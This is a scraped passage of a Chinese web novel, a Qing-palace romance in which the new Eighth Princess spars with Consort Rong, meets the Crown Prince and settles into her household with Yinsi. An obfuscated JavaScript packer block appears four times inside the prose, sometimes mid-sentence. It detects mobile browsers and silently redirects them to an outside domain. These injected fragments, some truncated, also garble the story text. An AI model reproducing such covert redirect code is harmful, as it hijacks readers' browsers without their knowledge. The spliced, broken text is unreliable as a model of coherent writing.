;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656364|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赐座。” “胤禩,朕的这门婚事指的不赖吧。”康熙在儿子面前,只是一位慈祥的老父亲。 胤禩羞赧一笑,言语中十分亲近:“汗阿玛英明神武,能娶到福晋,儿子喜不自胜。” “你小的时候,随你外祖父入宫请安,朕抱过你一回。”康熙转而看向高奇奇,回忆道:“当时胤禩也在,他还吃味了许久,不高兴朕为何抱别的孩子,不去抱他。朕猜,现在胤禩大概不会计较这些了。” 胤禩狭长的凤眼睁圆,他一点儿都不记得。 “福晋,孩童不懂事,福晋莫要和幼时的我计较。我现在是极其不在意这些的。”胤禩急忙补救道。 高奇奇笑眯眯的看向胤禩,什么话都没说。 胤禩心慌如麻。汗阿玛害他啊! 他不会成为第一个,刚大婚就痛失福晋的皇子吧。 他好不容易才让福晋对他亲近了一点点。胤禩委屈,胤禩不说。 康熙就近观看儿子的乐子,看的很高兴。 “八福晋,你呢?可还满意朕的八皇子?”康熙问道。 高奇奇收回眼神,正色回话道:“贝勒爷仪表堂堂,又温和有礼。若是这样的夫婿,都不能让人满意,儿媳怕是白长了一双眼睛了。” 康熙哈哈大笑:“好个落落大方的姑娘,满洲姑奶奶该当如此不扭捏。” “好,你们彼此都中意,朕就放心了。夫妻之间,当互相喜爱,互相敬重,相互扶持。一生很长,朕盼望你们以后的日子能够和美顺遂,长长久久。”康熙说着说着,眼中含泪。 高奇奇有些无措,康熙帝这么感性的吗? 倒是胤禩早已习惯他汗阿玛这样。 “儿子谨记汗阿玛教诲。”胤禩领头道。 “儿媳谢汗阿玛祝福。”高奇奇道。 康熙一乐,不错,这个儿媳伶俐讨喜。他的眼光啊,就是好。 “梁九功。”康熙喊道。 总管太监梁九功端着一个托盘,走上前来。 “这对白玉如意是朕赐给你们的新婚礼。唯愿吾儿与儿媳白首到老,称心如意。”康熙道。 晶莹剔透的白玉如意,打着红色同心结,放在红木托盘中。 高奇奇稳稳的接住托盘,沉迷于玉如意的美貌中。 好在有太后赏赐的好东西先打底,她还能稳得住。 康熙道:“这个金项圈,是太后赏赐的吧?” 多此一问的话,康熙没打算听人回答。 他自顾自的继续说下去:“太后添了赏赐,朕不能不给。前些日子内务府新进了一批宝石,有两颗红宝石颜色十分透亮,红的很正。朕让人打成一对簪子,还没来得及送出手。今儿,就赏给你了。” 高奇奇干脆利落的一弯膝盖,这个礼她行的心甘情愿,多多益善。 “朕和太后赏赐给你们的东西,瞧着不少,就先让人送回去吧。捧着它们满宫里走,不怕不小心摔着了?”康熙道。 高奇奇甜甜一笑道:“儿媳听汗阿玛的。儿媳原想的是,皇玛嬷如此厚赏儿媳,当让宫里都能瞧见皇玛嬷对孙辈的慈爱。” “哟,还是个爱炫耀的性子。”康熙打趣道。 “时候也不早了,你们去给惠妃她们行礼吧。”康熙道。 不止是惠妃一个,四妃齐齐都在内,还要再加一个胤禩的生母——卫嫔。 被康熙赶出了乾清宫,高奇奇留恋的看着那一对耀眼至极的红宝石簪子。宝石又大又红又干净,没有一点儿杂质。 “路上小心些,得把我这些宝贝们都护好啊。”高奇奇殷殷叮嘱着。 “走吧,咱们去给额娘请安。”高奇奇抬起腿,尽力去忽视脚传来的疼痛。 还是宫里的后妃好啊,品阶高的有轿辇可乘,不像她只能甩着两条腿走路。 至于胤禩,他穿着平底靴,又常年练武,就是绕着紫禁城走一个来回也没问题。 站定在延禧宫前,高奇奇难得的迟疑了一下,没有立马进去。 胤禩疑惑的看向她,关心道:“怎么了?福晋是不是哪里不舒服?” 高奇奇一脸凝重的表情,道:“我有一种不妙的预感,接下来有场硬仗要打。” 胤禩眼中是茫然不解,但是不影响他认真对待高奇奇的话。 “不要怕,我在你身边。就算是我不顶用,还有惠额娘和额娘在。惠额娘最是护犊子,她会护着我们的。”胤禩道。 4. 第四章 新婚夫婿的战斗力,还有待考验。 但是,惠妃的实力,高奇奇是完完全全信任的。 这位可是皇长子的生母,位列四妃之首,宫斗水准绝对是顶尖的存在。 “走。有你这句话,我就放心了。”高奇奇雄赳赳气昂昂道。 有人的地方,就有江湖。 女人多的地方,少不了战场。 当看到坐成一排的五位康熙后妃,高奇奇人还在门口,已经感受到风雨欲来之势。 胤禩也察觉到不对劲。 一般情况下,后妃们的争斗,不会显露在皇子面前。 前朝后宫,划分的清清楚楚。 胤禩今日属于误入战场,也因为有他在,几位后妃言语上的你来我往时,会稍稍克制一些。 “胤禩,要用到你的时候到了。婆媳不和,必是丈夫无能。话糙理不糙,你意会就好。”高奇奇捏着帕子,假装擦汗,语速飞快的对胤禩道。 胤禩迅速给予回应:“我明白的。凡是你不好回答的,交由我来。” 高奇奇赞赏的看了胤禩一眼,目前来看,这是一位可以托付后背的好队友。 因着是后妃,而非皇后,高奇奇和胤禩只用行双礼。 膝盖少弯一次,对高奇奇来说都是拯救,何况是少蹲两下。 高奇奇高高兴兴的给五位娘娘行礼,所谓伸手不打笑脸人,面对这样笑容喜庆的晚辈,长辈们很难不喜欢。 如果五位后妃的面前,有亮灯的按钮,高奇奇的第一场自我介绍,必然是全员亮灯通过。 前面都是和风煦日的谈话,温柔和善的,差点儿将高奇奇和胤禩麻痹住。 直到话说到后半场,气氛不对了起来。 高奇奇悄悄地挺直了腰板儿。来了来了,重头戏要来了。 胤禩脸上的笑容,也逐渐变得标准化。 “惠妃姐姐真是好命,得了这么个好儿媳。安王府的贵女,是一家有女百家求的好门楣啊。”坐在四妃的最末端,位次仅在卫嫔前面的荣妃,笑盈盈的夸道。 高奇奇脑子里顿时响起了警报声。 她一脸羞涩的接话道:“荣娘娘这样的盛赞,实在让我羞愧难当。不敢当不敢当。八旗人家,哪里能有一家有女百家求的盛况。八旗闺秀都要先经过选秀,由皇上指婚。也就是被撩了牌子的,可以自行婚嫁。” 这话不能说说的不对,但听起来总觉得刺刺的。 就像荣妃说的话一般,一听就不对劲,但挑字眼儿又都是夸。 惠妃赞许的对高奇奇点点头,好儿媳,回得好。 荣妃素来做事有些蠢,她懒得应付。但是傻人有傻福,一双儿女倒是生的好,让人羡慕。 得到了鼓励的高奇奇,灿烂一笑。 她平日里又不和其他妃嫔打交道,得罪了也无妨,惠妃和卫嫔喜欢她就好。 只有这两位,才是她的直属上司。 荣妃琢磨了好一会儿,也没琢磨出高奇奇话里的毛病。 但是,她有着野兽一般的直觉。 这个八福晋,不是善茬儿。 荣妃索性不装了,她道:“八福晋,我这儿有个趣事,你想不想听?” 高奇奇一脸真挚道:“荣娘娘想说,我作为晚辈的,自然要听。若是您觉得不合适说出来,那我就不想听。” 荣妃暗啐了一口,小小年纪,滑不溜秋的。 高奇奇的手指,悄悄在宽衣袖下,比了个“耶”。又胜一局。 “这事儿呢,和你也有关系,本宫就不藏着掖着了。”荣妃道:“你可知道,八贝勒大婚前,推拒了惠妃给他的两个宫女?” 胤禩心里慌了一下,随即很快镇定下来。 他是推拒了宫女,不是收了宫女。他不用心慌。 胤禩充满期待的看向高奇奇,福晋会夸他的吧。 身侧的眼神太炙热,高奇奇无法忽视。她扭过头去,给胤禩露了个漂亮的笑容,以资鼓励。 干得漂亮!好男人,就要守身如玉,敢于拒绝。 “荣娘娘,您这就为难我了。我也就昨儿才嫁进宫的,宫里的消息,我在宫外哪里能知道啊。探听宫闱内事,是要掉脑袋的。”高奇奇道。 “咳咳咳。” 一阵咳嗽声,从前方传来。 高奇奇抬眼望去,是德妃喝水被呛到了。 德妃和卫嫔是同年入宫,感情很是要好。她原本存着替卫嫔考验儿媳的心思,此时一看,不必了。 挺机灵的一个孩子,很是不错。 高奇奇乖乖巧巧的冲着德妃一笑,德妃用帕子擦好嘴,回以温柔的笑容。 见高奇奇是个油盐不进的主儿,荣妃索性破罐破摔。 她直奔主题:“女子当贤良淑德。八贝勒大婚前的事,八福晋不知道就罢了。如今,八福晋已经为皇家儿媳,当以为皇家开枝散叶为己任。我看不如八福晋替八贝勒纳两个格格吧,好事成双,图个吉利。” 荣妃话音落下,一片寂静。 胤禩傻眼了,惠、宜、德妃,并卫嫔也傻眼了。 荣妃是来砸场子的吧。 什么仇什么怨,让她在这个时候提给胤禩纳妾的事儿。 虽然,什么时候提,都不太对。她又不是高奇奇的婆婆,只能算在七大姑八大姨的亲戚里,哪来的身份安排这件事。 正因为不是自己婆母,高奇奇此刻毫无心理压力。 高奇奇施施然的站起身,并且按下了已经站起身,正要回话反驳的胤禩。 坐下! 女人的事情,男人少管。 胤禩不插手,她们就是后宫女眷的争执。哪怕吵大发了,惠妃也能压下去。 高奇奇微微一笑,胤禩胆子一颤。 “荣娘娘想给贝勒爷纳妾?”高奇奇问道。 荣妃稍微聪明了点,她撇清道:“是你给你的夫婿纳妾。” 高奇奇冷笑一声,一双瑞凤眼,眼尾冷漠上扬。 “行啊。” 不等荣妃欢天喜地的开始张罗。 “我这就去汗阿玛那里求一封和离书。荣娘娘在我和贝勒爷成婚第二日,就强逼我给贝勒爷纳妾,想来是对汗阿玛选我为儿媳,很是不满。我愿意从了荣娘娘的心意,退位让贤。” “我郭络罗·妙奇,虽是一介孤女,却自幼有外祖一家疼爱,得舅舅、舅母抚养。荣娘娘看不上我无妨,但羞辱安王府,我绝不能忍。”高奇奇怒而转身。 不等众人反应,高奇奇人已走出门外。 荣妃整个人都懵了。 怎么会这样?她只是让八贝勒纳个妾,收两个宫女。何至于如此啊! “还不快去拦着八福晋!”惠妃急声喊道,她身边的宫女却一时没有动静。 “诶哟,我去拦,我去拦。”荣妃算是看明白了,她又说错话了。 荣妃起了身,惠妃的宫女才有所动作。 “你这孩子好大的气性,我也就是说说。长辈么,对晚辈的教诲,你有则改之,无则加勉。非要闹到皇上那儿去,难道就有了你的好处?”荣妃冲出门外,抱住了高奇奇。 见高奇奇不往外走了,荣妃心里憋屈,委屈道:“再说,哪个皇子不是侧福晋、格格一堆的。你今日不愿意,以后也是要做的啊。还不如今日贤惠大方一回,得个好名声。本宫难道是要害你吗?” 得,这个人执迷不悟。 她不是故意恶心人,她是又蠢又坏,天生的恶婆婆脑。 高奇奇表情一变,双眉蹙起,眼眶泛红,似有水意。 “汗阿玛,您的这个儿媳,我当不了了啊!舅舅、舅母,外祖父,妙奇给安王府和佟家的家教抹黑了啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656365|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”高奇奇一边哭喊着,一边继续往外冲。 荣妃急了,刚才不是还稳住了吗?怎么又跑啊。 她一把年纪的,骨头脆,经不住这折腾。 再说,有佟家什么事儿。 “娘娘,安郡王福晋是佟国纲大人的幼女。”荣妃的宫女小声提醒道。 “行行行,本宫往后不提这茬。本宫真是枉做好人,还被当作了恶人。”荣妃满头大汗。 她就没见过八福晋这样的人。扯娘家的大旗不算,连舅母的娘家都不放过。偏偏她真得忌惮一二。 高奇奇冷声道:“哪里好人了?荣娘娘,哪家的好人,给新婚夫妻送人,添晦气的啊。” “我没送人啊。我又不是你婆婆,哪来的身份给八贝勒送人。”荣妃理直气壮道。 高奇奇和荣妃僵持在门外,大眼瞪小眼的。 胤禩在惠妃的暗示下,不情愿的出去救场。 要他说,他福晋还想和荣娘娘吵八百个来回。他过去是扫了福晋的兴致。 “别和荣妃计较,想想你三哥的后院,都快人满为患了。她在插手儿子后院上,做的糊涂事不少。惠额娘没料到,她连你都要管一管。话说出口,想拦都来不及。” “上个月七贝勒带他福晋来行礼时,也没见她如此不合时宜啊。”惠妃万分不解。 难不成,荣妃今儿是冲着她来的?想破坏她和小儿媳之间的婆媳关系? 瞧着也不像啊。 现在焦头烂额的,是荣妃自己。惠妃连尾风都没有被扫到。 胤禩磨磨蹭蹭的拖延时间,他道:“也许是七哥后院有侧福晋吧。” 惠妃瞧出来了,这小子不想去救场呢。 惠妃嗔道:“快去把你福晋带走吧。她一哭二闹的,再这么下去,荣妃就该上吊了。毓庆宫那边,也在等着你们去行喜礼,别让太子等太久。” 胤禩扭头望向高奇奇,高奇奇扬着下巴,小模样骄傲极了。 他嘴角不由自主的扬起笑容,福晋和人吵起架来,好生威风,令人着迷。 高奇奇在前方战斗,胤禩自觉自己不能什么都不做。 他腼腆一笑,温和无害道:“惠额娘,不知这见面礼?” 惠妃瞪他一眼:“什么时候跟胤禟一样,都成财迷了?有有有,不会少了你们的。你瞧瞧,不都放在边上了么。” 看养子还不挪动脚步,惠妃心下了然:“荣妃那儿,我让她多补一些,作为给儿媳的补偿。意思到了这事儿就过了,总不能让荣妃向你福晋道歉吧。” “儿子不敢。荣娘娘是长辈,儿子和福晋万万不敢有这样大逆不道的想法。”胤禩得了明话,心满意足的去救场。 胤禩半搂半抱的,把高奇奇带走。 荣妃站在原地,缓了许久。 “扶我进屋里坐着去。”荣妃道。 荣妃回到大厅里,迎来的是老朋友们戏谑玩味的表情。 “荣妃姐姐啊,你看看你,下回可不能这么欺负晚辈了。皇子福晋里,哪个不是家世响当当的,满洲姑奶奶性子烈又骄傲。你今儿实在是给人没脸了。”德妃一见荣妃回来,不等她说话,先把事情定性下来。 荣妃没有反驳,她的智商看不出德妃先声夺人的意义。 她小声嘀咕着:“五福晋就不是啊。” 宜妃柳眉一竖,原本她还是中立的。荣妃居然嘴她大儿媳的家世,她能忍? “皇上挑的儿媳,荣妃你不满意,就找皇上说去。背后对晚辈说三道四的,算什么本事?”宜妃不留情面道。 延禧宫的吵闹,渐渐歪了楼,成了宜妃和荣妃你来我往。 惠妃和卫嫔两人,一个劝一个拦,实则煽风点火的,把儿媳从中给摘出去。 晚辈对上长辈,不论对错,一个“孝”字,就能把晚辈压的抬不起头。 5. 第五章 吵了一架,神清气爽。 高奇奇拿出帕子,擦了擦脸。 对上胤禩关心的眼神,高奇奇主动把脸凑过去,让他看清楚。 “别担心,我是光打雷不下雨,没有哭。我小时候常惹祸,就靠这一招躲过许多顿打。出门在外,演技傍身。”高奇奇道。 高奇奇说的云淡风轻,可胤禩心里内疚的不行。 “是我让福晋为难了。”胤禩歉疚道。 “这和你有什么干系?”高奇奇惊讶不已。 “刚才在额娘们面前,不方便夸你。胤禩,做的好!荣娘娘若是不说,我都不知道还有这桩事。”高奇奇好奇道:“是惠额娘给的宫女,不够好看吗?” 胤禩牵着她的手,听到这话,忽然有些气恼。 他心一横,胆子大的举起高奇奇的手,用手指在她手背上轻轻打了一下。 是真的轻,像羽毛一样,一点儿红印都没有留下。 高奇奇呵呵傻笑着:“嘿,不疼。” 胤禩没好气道:“我心中有人,自是不愿有其他人插入。管她们漂不漂亮,三千弱水我只取一瓢。” 高奇奇眸光一动,她假装没听懂。 “挺好挺好。”高奇奇眼珠子乱晃,就是不看胤禩。 胤禩却不愿意她装聋作哑。 话都说到这份上了,索性一次性说完。 “我既有了福晋,便只想一心一意的对待福晋。什么格格、侧福晋的,我一个也不要。”胤禩一脸严肃,十分认真。 别人说这话,或许不容易让人相信。 但是,这是在夺嫡之前,后院的确干净的八贝勒说的话。 高奇奇仓惶的往四周看了一圈,捂着自己的心口,她的心现在跳的飞快。 “这儿是表白心迹的好地方?回去说回去说。”高奇奇逃避道。 只是当个夫妻,何必这么剖心剖肚的。 郑重的让人想要逃避。 高奇奇捂耳不听,就是不配合,胤禩一时拿她没办法。 毓庆宫还没去呢,路上耽搁不得。 胤禩只得换个轻松的话题:“我还有一事,想向福晋讨赏。” 高奇奇松了一口气,笑盈盈的接过话茬:“说说看。若是做的好,自然论功行赏,绝不克扣。” “不着急,等回去后,福晋就知道了。”胤禩神秘一笑,昂着头的样子,还有些小骄傲。 高奇奇鼓鼓腮帮子,吊人胃口,天打雷劈。 “毓庆宫到了,不方便多说。”胤禩解释道。 高奇奇抬头一看,毓庆宫的大门,近在咫尺。 门口站着侍卫,目如鹰隼的,巡逻着四周。 高奇奇闭上了嘴,史书上的废太子,褒贬不一。有说他是英明之主,俊秀多才,能力卓越。也有说他性情暴戾,拳打皇子、宗亲,脚踢朝廷大臣。 趁着还没到毓庆宫的门口,高奇奇赶紧问道:“听闻,太子殿下曾把四贝勒一脚踹晕过去?” 胤禩一愣,然后表情严肃道:“宫外竟有这传言?” 高奇奇忙道:“没有没有。我也不记得是在哪儿听说的,说话的人声音特别小,并非大肆宣传的那种。” 胤禩道:“是误会。当时,太子和四哥确有争执,也有推搡,但是绝对没有太子脚踹兄弟的事情。四哥晕倒是因为早上没用点心,又气急攻心,饿晕了过去。” 原来如此,那就好那就好。 “那在朝堂上,殴打大臣呢?”高奇奇又问。 胤禩沉默了。 高奇奇顿时明白,这事儿是有的。 为了太子的名声,胤禩不得不多加一句解释道:“汗阿玛也曾在早朝时,和大臣切磋过拳脚。” 高奇奇自动翻译,康熙上朝时,殴打过大臣。 康熙和太子父子俩儿,一脉相承啊。 “武德充沛。”高奇奇感慨道。 胤禩猛咳个不停,他惊吓过度,呛到口水了。 “福晋说话,有时候挺别开生面,让人感到石破天惊。”胤禩婉转道。 到了毓庆宫,二话不说,先把礼行上。 行完这个礼,高奇奇今天就不用再弯膝盖了。 真是可喜可贺。 因为是同辈,虽是储君和储君妃,但是行礼时,只有太子可以坐受双礼。太子妃站着受一礼,然后要回给新人一礼。 太子妃回礼的时候,高奇奇还颇为受宠若惊。 这是今天一天里,她唯一收到的回礼,实在让人感动。 就此,所有的礼行完。 没有了任务约束,高奇奇和胤禩两人都放松下来。 “孤有些时日没见到八弟了,时辰还早,八弟和八弟妹不如在毓庆宫多坐一会儿,喝茶吃吃点心。”太子挽留着弟弟妹妹,以表兄友弟恭。 胤禩恭敬道:“弟弟却之不恭,就尝一尝太子这儿的好茶了。” “莫说尝一尝,就是想带回去几罐新茶,孤也给你。”太子笑道。 太子威仪甚重,即使表现出对弟弟的关怀,面带笑容,气势却还是高高在上。 胤禩毫不在意,甚至不觉得这有什么不对。 他从小到大受到的教育,太子是兄长,更是储君。 君臣有别,他们和太子是不一样的。 相较于在延禧宫的雷电交加,毓庆宫这里端正平和了许多。 胤禩跟着太子去另一边坐着,一边喝茶,一边聊事情。 太子妃和高奇奇坐在一块儿,端庄温柔的和她说着话。 太子威严,太子妃温婉,储君和储君妃一刚一柔,令高奇奇心情平静下来。 这才是她认知中的皇家生活。 大家体体面面的聊着天,说话内容十分官方好听,但是没有任何实质。 一盏茶喝完,太子和胤禩前后站起身来。 太子妃盖上茶盏,盈盈一笑:“今日时间仓促,没能好好招待八弟妹。等八弟妹在宫中安顿习惯了,再由我做东,请八弟妹和其他妯娌们一起来毓庆宫赏花办宴。” “那感情好,我可等着观赏毓庆宫的珍花奇草了。我的嫁妆里,有几坛美酒。等您开赏花宴时,我带上美酒赴宴,免得两手空空来。”高奇奇道。 从毓庆宫出来后,高奇奇不禁感慨:“不愧是汗阿玛选中的太子妃啊,言谈举止,令人如沐春风,却又生不出不敬的心思。可亲又可敬,真是难做到啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高奇奇不和他犟了,她双臂环抱在他的脖子上:“我一身首饰,重的很。你可要抱稳了我。” 胤禩闻言眉头微挑,轻轻把高奇奇往上抛了抛,又稳稳抱住。 “我力气大的很,福晋轻盈如羽毛一般。”胤禩爽朗笑道。 朝阳与落日,最是浪漫。 高奇奇感到了一丝心动。 如果是这样干净爽朗的人,她动一下心,不过分吧? 胤禩没有糊弄高奇奇,这一段路着实不短。 若是让高奇奇自己走,恐怕要走的更慢一些。而脚上磨破的地方,大概伤口要再扩大几圈。 “福晋,咱们到家了。”胤禩横抱着高奇奇,站定在一处院落门口。 高奇奇抬起头,看向她的新家。 这是一处独立院落,从大门看过去,分不出院子算大,还是小。 从安王府跟随进宫的侍女仆妇们,已经提前安顿进去。一共三十六人,床铺位置都安排好了,想来院子不会太小。 高奇奇粲然一笑:“嗯,到家了!” “既然到了,胤禩你是不是该把我放下来了?我的初次亮相,不能是这么脆弱的样子!”高奇奇道。 6. 第六章 胤禩用行动证明,他做事有始有终,绝不半途而废。 “听说汉民娶妻时,会抱着新娘进门。今日还算是大婚三天内,我抱着福晋进门,正正合适。”胤禩说着歪理。 “福晋难道不觉得,我为福晋鞍马,福晋更威风有气势吗?”胤禩含笑哄道。 人为刀俎,我为鱼肉。 高奇奇挣扎不过胤禩,只能随他去吧。 高奇奇担心的事情,并不存在。 宫中的奴才,从入宫时,就被耳提面命,不可直视主子。 跨入大门,门内是等候已久的宫女、太监,他们穿着簇新的衣裳,低着头弯着腰,恭敬等着女主人的到来。 院子里还挂着没有拆除的精致彩灯,庭院道路两边的花盆上,红色囍字贴的端正,花也开的精神抖擞。 “阎进,去搬一把椅子过来。”胤禩吩咐道。 宽大厚重的太师椅,往院子中央一摆,气势顿时有了。 “福晋请坐。”胤禩小心的将高奇奇抱到椅子上。 高奇奇端坐在太师椅的中间,胤禩站在她的旁边。 “奴才阎进,给福晋主子行礼问安。”阎进从胤禩身侧离开,站到宫女、太监的队列前,一扬嗓子,声音透亮的喊道。 “奴才/奴婢,向福晋主子问安。”满院子的宫人们,卑顺的行礼。 动作整齐的,仿佛是有一把尺,标在前面一般。 高奇奇只能望到宫女们整齐光洁的头顶头发,或是太监头戴帽子的帽子顶。 他们仿佛是穿着宫女、太监服饰的幽灵,没有自己的存在感。 她的手不自觉搭上太师椅的椅柄,心脏有些窒息的疼。 椅柄光滑而坚硬,她用力攥住椅把手,手心被硌红也没察觉。 忽然,温热的触感,覆住她的手背,轻柔的将她手包裹着。 高奇奇意外的抬起头。 胤禩微低着头,含笑看她。 “我在。”他无声道。 有我在,别怕。 高奇奇展颜一笑,她不怕的。她会在这里好好的生存下去。 “都起来吧。”高奇奇端正神色,神色威严道。 几十人齐齐站起来,如果不是亲眼看着,只靠耳朵,根本听不出动静。 “福晋,阎进是我身边的首领太监,一般替我理办前院的事情,随我在外行走。今日,一直在我身边,你已经见过了的。”胤禩指着阎进,介绍道。 高奇奇对阎进微微颔首:“阎公公。” 阎进连忙避开,深腰恭敬一拜。 “马起云,过来让福晋瞧一眼你。”胤禩接着道。 先前跪在队列最前面的太监,立马起身,走上前来。 他的衣服和阎进的颇为相似,只是少了些花纹。 大约是一正一副的区别。 “奴才马起云,叩请福晋主子万福金安。”马起云一张圆脸,身形微胖,长的十分讨喜和气。 反观阎进长的清瘦些,换身衣裳,倒像是个读书人。 “得贝勒爷的令,奴才原先负责管理贝勒爷的内院诸事。”马起云不用胤禩介绍,自己主动交代。 “马起云也是我身边的大太监。他在宫里时间长些,和宫里各处关系都处都不错。交代他去内务府、御膳房领东西,拿到的都比别人好些。”胤禩为高奇奇介绍道。 所谓小鬼难缠,别以为是皇阿哥在宫里就能呼风唤雨,天王老子他最大。 宫里十几个阿哥呢,再过个几年,说不准都要二十个往上跑。 皇子一多,就不稀罕了。 同样份例里的东西,品质也分上中下,关系打通的好,自然就能得到其中的上上品。 高奇奇看向马起云的眼神,瞬间明亮许多。 是个有用的人才啊。 “阎进跟着贝勒爷在外行走,我就不多嘴了。往后,在这内宅后院里,还要马公公多提点我身边人一二。”高奇奇道。 马起云憨厚一笑,殷勤的恰到好处。 “奴才全听贝勒爷和福晋主子的吩咐。”马起云道。 “这是我的陪嫁侍女初一、十五,在安王府时负责我院子的人情来往和库房。她们的老子娘都在我的陪嫁庄子里干活,是安郡王旗下的包衣。” “现今进了宫,十五为我身边的大宫女,还是管我的库房钥匙。初一则担任掌事宫女的位置,以后后院的宫女都由她管领。”高奇奇道。 主子身边的心腹,几乎没有好敲打的。都代表着对方主子的颜面。 互相介绍一声,是为了让他们认个脸熟,往后就是同僚了,遇事儿好商量。 高奇奇目光冷静的,看向站在面前的乌压压一群人。 这些里面,才是有可能出乱子的人。 高奇奇俏脸一板,手往袖子里摸索了一下,竟掏出一个软鞭来。 鞭子一甩,打在地上,破空的响声,听的人头皮发麻。 初一瞳孔微缩,眼神慌乱。 她侧过脸,去看十五。 十五,主子袖子里怎么会藏有鞭子?看着样子,应该是昨晚出嫁的时候,随身带上的。 十五瞌着眼皮,视线瞅着鞋面,就是不看初一。 不用问了,帮凶就在这儿。主子的鞭子,肯定是十五帮忙藏着和掩护的。 糟心啊,主子一个人任性就罢了,还有人在一旁助纣为虐。她这个贴身侍女当的好心累。 初一、十五的眉眼官司,高奇奇不知情。 “我的脾气,在闺阁时就不大好。想来宫里大多数消息灵通的人,早已经打听过,知道了。”高奇奇微微一笑。 “但是,我也不是不讲理的人,不会胡乱责罚下人。只要你们按照定的规矩做事,不犯大错,不多舌,没有卖主的心,我和贝勒爷自不会亏待你们。” “可若是哪一个心怀鬼胎,做了对不起我和贝勒爷的事情。不用送去慎刑司,我这支皇上赏赐的马鞭,先教你们做人。”高奇奇冷脸,气势凌人道。 讲道理不行,就上物理。总有一个理,能行得通。 宫女、太监们心中一凛,想到马鞭的威力,忙道:“奴才/奴婢不敢。” 胤禩满眼迷恋,福晋耍鞭子时,是那样的威风凛凛、风姿迷人! 滚烫炙热的视线,一直追随着自己。 高奇奇想忽视,都忽视不成。 这样瞧着人,还让人怎么说话。 高奇奇俏脸抬起,傲然问道:“贝勒爷有话要说吗?” 胤禩立马严肃态度,背着手威严道:“打今儿起,院子里的事,不论大事小事,都由福晋做主。” 原想仗着自己是宫里老人,想耍一些滑头的太监、宫女们,连忙收起自己的小心思。 “我也由福晋做主。”胤禩弯下腰,小声在高奇奇耳边道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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胤禩道:“福晋以为我说的是客气话不成?钥匙和对牌,到了福晋院子后,就交给福晋。” 高奇奇心情十分好,她道:“这就是你在毓庆宫前说的,要向我讨的赏?” 不提这事儿,胤禩都快忘了。 他笑道:“这算什么讨赏,难道不是我应该做的吗?福晋嫁给我,要为我操劳后院,我的钱财自当由福晋管着。我和福晋,还要分什么你我。” “福晋不用问,再耐心等一等,等到了你的院子,就一目了然了。”胤禩道。 “这样吊人胃口,你也不怕我失望了,你赏没讨着,还惹得我发脾气。”高奇奇道。 胤禩道:“我对福晋,应当还是有一些了解的。” “讨赏的事儿不急。福晋身边侍女的名字,倒是颇有雅趣。”胤禩道。 初一、十五,不是有趣。是命运的玩弄,她躲得了初一,躲不了十五。 “这是自然。我给侍女取这个名字,就是为了警告我院子里的奴才。平日做事,休想偷奸耍滑,或是做出违法犯罪之事。否则,躲得过初一,躲不了十五。天网恢恢、疏而不漏,定会被抓到的。”高奇奇理直气壮道。 初一、十五从不知道她们的名字,这么有意义。 今日一听,以后走起路来,都要挺直腰背,走路带风了。 7. 第七章 高奇奇不知道自己有没有糊弄过胤禩,反正胤禩声音愉悦的笑了笑,没有继续再问。 仿佛只是他临时起意,随口一问。 整座院落里,位置最好的两处屋子,就是胤禩和高奇奇的屋子。 而要论屋子里面的布置,唯有高奇奇的屋子,被布置的最用心。 高奇奇怀揣着寻宝的心,去观察她从今以后的新居所。 一进门,入眼的就是一排排放着珍宝首饰的托盘。 太后赏的、康熙赏的,还有…… 高奇奇兴奋的拍着胤禩的背:“这么多,是惠额娘她们给咱们的见面礼,是不是?” “我的财神老爷啊,居然这么舍得,尤其是那顶蓝宝石头面,蓝的水汪汪的,像是海洋的眼睛一般好看。”高奇奇道。 “快放我下来,我要靠过去,细细欣赏。”高奇奇扭着身子,咕蛹着要下去。 胤禩连忙收紧胳膊:“别动别动,小心摔着你了。” “这些东西不会跑,但是你的脚伤再闷下去,上药时就要更疼了。”胤禩道。 高奇奇不舍的道:“我没有那么娇气。” “我娇气,我心疼你。”胤禩急道。 高奇奇和胤禩面面相觑,而后相顾一笑。 “好嘛,听你的。其实,只要不走路,也感觉不到疼。”高奇奇道:“多出来的那份赏赐,是你为我向荣娘娘讨的,对不对?这回我肯定没有猜错。” 胤禩走到贵妃榻旁,将她放下。 “真聪明。不过,我不好一个人独占功劳。让荣娘娘拿出这么好的首饰,必然是惠额娘出了力。”胤禩道。 胤禩说着就弯下膝盖,单腿跪在高奇奇面前,自然的抬起她的脚。 “是哪只脚磨破了?应当两只脚都有受伤吧。”胤禩自顾自说着,就动手给高奇奇脱鞋。 吓的高奇奇双手撑在后面,飞速的挪着屁股,把腿从胤禩怀里抽出来。 “初一、十五,快拦住贝勒爷。”高奇奇吓坏了。 什么好人会上来就脱人家姑娘的鞋啊。 初一、十五也慌的不行。 